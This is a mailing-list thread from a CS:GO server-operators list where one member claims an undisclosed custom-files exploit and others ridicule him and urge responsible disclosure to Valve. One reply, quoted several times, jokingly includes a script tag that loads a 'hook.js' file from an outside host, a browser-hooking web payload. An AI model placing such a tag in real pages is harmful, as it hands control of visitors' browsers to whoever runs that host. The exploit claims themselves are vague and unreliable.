Custom files exploit

classic Classic list List threaded Threaded
55 messages Options
123
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Stealth Mode
@ Vaya

Indeed.



And these are the more common exploits. The image/skin exploit isn't widely known yet. Far as to why I have submitted it to this list, was to let owners/admins know to disable custom files/skins with the svar for allowupload, and customfiles. The maturity of some of this lists members is lacking. So I will be ignoring them, and blocking them in the future. Possibly will contact Alfred about the harrassment over the legitimate exploit being being spoken of with other owners/admins.

-StealthMode

On Tue, Oct 10, 2017 at 11:08 AM, Vaya <[hidden email]> wrote:
I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone

On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)
_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Stealth Mode
In reply to this post by Ryan Bentley
@Ryan, etc.

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

Have a nice day! End of discussion. No further communications.

Sincerely,
Christopher "StealthMode" Stephen Larkins
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:
My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:
Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:
The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:
I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone

On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)
_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

David
none of these videos looks current or relevant? 1.6/CZ server exploits have no baring on CSGO server installations.

On 10 October 2017 at 17:34, Stealth Mode <[hidden email]> wrote:
@Ryan, etc.

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

Have a nice day! End of discussion. No further communications.

Sincerely,
Christopher "StealthMode" Stephen Larkins
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:
My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:
Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:
The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:
I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone

On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)
_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Kristin A
In reply to this post by Stealth Mode
As an independent contractor, I'm going to assume you "fix" people's broken networks by spreading FUD then correcting a problem that was never there in the first place? What kind of incompetent people do you think frequent this list; people abusing !ws and !knife, allow uploads ever from clients, and gawd knows what other insecure rubbish?

Nobody is harassing you; instead, they're responding to your vagueries that are about as useful as that spambot that was here last year, and your search results that are obsolete.

On Tue, Oct 10, 2017 at 12:34 PM, Stealth Mode <[hidden email]> wrote:
@Ryan, etc.

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

Have a nice day! End of discussion. No further communications.

Sincerely,
Christopher "StealthMode" Stephen Larkins
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:
My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:
Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:
The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:
I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone

On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)
_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Saint K.
In reply to this post by Stealth Mode

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

iNilo
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Nathaniel Theis
hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Ryan Bentley
ITSec. PoC.

Sincerely,
Ryan "ExpertMode" Bentley
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 6:50 PM, Nathaniel Theis <[hidden email]> wrote:
hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

popflash
In reply to this post by Nathaniel Theis
You may want to fix your SSL cert bud ;)


On October 10, 2017 at 1:53:00 PM, Nathaniel Theis ([hidden email]) wrote:

hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

